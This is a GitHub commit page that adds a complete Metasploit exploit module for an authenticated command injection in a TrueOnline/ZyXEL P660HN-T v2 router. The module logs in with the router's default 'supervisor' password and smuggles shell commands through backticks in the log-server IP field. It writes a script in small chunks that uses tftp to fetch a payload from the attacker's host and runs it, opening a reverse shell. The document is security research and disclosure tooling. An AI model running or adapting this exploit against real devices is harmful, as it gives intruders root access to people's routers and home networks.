Skip to content

Commit 2827a7e

Browse files
author
Pedro Ribeiro
committed
add 660v2 sploit
1 parent 3a9c662 commit 2827a7e

File tree

1 file changed

+190
-0
lines changed

1 file changed

+190
-0
lines changed
Lines changed: 190 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,190 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::EXE
13+
include Msf::Exploit::FileDropper
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'TrueOnline / ZyXEL P660HN-T v2 router Authenticated Command Injection',
18+
'Description' => %q{
19+
TrueOnline is a major ISP in Thailand, and it distributes a customised version of
20+
the ZyXEL P660HN-T v2 router. This customised version has an authenticated command injection
21+
vulnerability in the remote log forwarding page. This can be exploited using the "supervisor"
22+
account that comes with a default password on the device.
23+
This module was tested in an emulated environment, as the author doesn't have access to the
24+
Thai router any more. Any feedback should be sent directly to the module's author, as well as
25+
to the Metasploit project. Note that the inline payloads work best.
26+
There are Turkish and other language strings in the firmware, so it is likely that this
27+
firmware is not only distributed in Thailand. Other P660HN-T v2 in other countries might be
28+
vulnerable too.
29+
},
30+
'Author' =>
31+
[
32+
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module
33+
],
34+
'License' => MSF_LICENSE,
35+
'Platform' => 'linux',
36+
'References' =>
37+
[
38+
['URL', 'GITHUB'],
39+
['URL', 'FULLDISC'],
40+
['URL', 'https://blogs.securiteam.com/index.php/archives/2910']
41+
],
42+
'Targets' =>
43+
[
44+
[ 'P660HN-T v2', {}],
45+
],
46+
'Privileged' => true,
47+
'Arch' => ARCH_MIPSBE,
48+
'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp' },
49+
'DisclosureDate' => 'TBD',
50+
'DefaultTarget' => 0))
51+
register_options(
52+
[
53+
Opt::RPORT(80),
54+
OptString.new('USERNAME', [true, 'Username for the web interface (using default credentials)', 'supervisor']),
55+
OptString.new('PASSWORD', [true, 'Password for the web interface (using default credentials)', 'zyad1234']),
56+
OptAddress.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]),
57+
OptInt.new('DELAY', [true, "How long to wait for the device to download the payload", 30]),
58+
], self.class)
59+
end
60+
61+
def check
62+
res = send_request_cgi!({
63+
'uri' => '/js/Multi_Language.js',
64+
'method' => 'GET'
65+
})
66+
if res && res.body =~ /P-660HN-T1A_IPv6/
67+
return Exploit::CheckCode::Detected
68+
else
69+
return Exploit::CheckCode::Unknown
70+
end
71+
end
72+
73+
def send_cmd(cmd)
74+
res = send_request_cgi({
75+
'uri' => '/cgi-bin/pages/maintenance/logSetting/logSet.asp',
76+
'method' => 'POST',
77+
'cookie' => "SESSIONID=#{@cookie}",
78+
'vars_post' => {
79+
'logSetting_H' => '1',
80+
'active' => '1',
81+
'logMode' => 'LocalAndRemote',
82+
'serverPort' => rand_text_numeric(3),
83+
# we have a short space for the payload - only 28 chars!
84+
'serverIP' => "1.1.1.1`#{cmd}`&#",
85+
}
86+
})
87+
88+
if res && res.code == 200
89+
return true
90+
else
91+
return false
92+
end
93+
end
94+
95+
96+
def exploit
97+
# first we authenticate
98+
@cookie = rand_text_alpha_lower(7)
99+
100+
res = send_request_cgi({
101+
'uri' => '/cgi-bin/index.asp?' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"),
102+
'method' => 'POST',
103+
'cookie' => "SESSIONID=#{@cookie}",
104+
'vars_post' => {
105+
'Loginuser' => 'supervisor',
106+
'Prestige_Login' => 'Login'
107+
}
108+
})
109+
110+
if res && res.code == 200
111+
print_good("#{peer} - Successfully authenticated to the web interface.")
112+
else
113+
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate to the web interface.")
114+
end
115+
116+
#this filename is used to store the payload on the device -> the fewer chars the better!
117+
filename = rand_text_alpha_lower(5)
118+
119+
# while echo'ing the payload, we can only send 10 chars at a time (see advisory for details)
120+
exec_file = '/tmp/' + rand_text_alpha_lower(1)
121+
script_file = %{#!/bin/sh
122+
cd /tmp;tftp -g -r #{filename} #{datastore['LHOST']};chmod +x /tmp/#{filename};sleep 5;/tmp/#{filename} &}
123+
124+
counter = 10
125+
res = send_cmd("echo -n \"#{script_file[0..counter]}\">#{exec_file}")
126+
if not res
127+
fail_with(Failure::Unknown, "#{peer} - Failed to inject payload.")
128+
end
129+
130+
while counter+1 < script_file.length
131+
if (counter + 10) > script_file.length
132+
ending = script_file.length - 1
133+
else
134+
ending = counter + 10
135+
end
136+
137+
print_status("#{peer} - Successfully injected part of the payload, waiting 5 seconds before proceeding.")
138+
sleep 5
139+
140+
send_cmd("echo -n \"#{script_file[counter+1..ending]}\">>#{exec_file}")
141+
if not res
142+
fail_with(Failure::Unknown, "#{peer} - Failed to inject payload.")
143+
end
144+
145+
counter += (ending - counter)
146+
end
147+
148+
print_good("#{peer} - Injection finished!")
149+
@pl = generate_payload_exe
150+
151+
#
152+
# start our server
153+
#
154+
print_status("#{peer} - Starting up our TFTP service")
155+
@tftp = Rex::Proto::TFTP::Server.new
156+
@tftp.register_file(filename,@pl,true)
157+
@tftp.start
158+
159+
#
160+
# download payload
161+
#
162+
print_status("#{peer} - Asking the device to download and execute the payload")
163+
164+
# these two commands have to be 15 chars or less!
165+
send_cmd("chmod +x #{exec_file}")
166+
send_cmd("#{exec_file} &")
167+
168+
# wait for payload download
169+
wait_linux_payload
170+
@tftp.stop
171+
register_file_for_cleanup("/tmp/#{filename}")
172+
register_file_for_cleanup("#{exec_file}")
173+
sleep 10
174+
handler
175+
end
176+
177+
def wait_linux_payload
178+
print_status("#{peer} - Waiting for the victim to request the ELF payload...")
179+
waited = 0
180+
while (not @tftp.files.length == 0)
181+
select(nil, nil, nil, 1)
182+
waited += 1
183+
if (waited > datastore['DELAY'])
184+
@tftp.stop
185+
fail_with(Failure::Unknown, "#{peer} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
186+
end
187+
end
188+
print_good("#{peer} - Payload was downloaded, wait for shell!")
189+
end
190+
end

0 commit comments

Comments
 (0)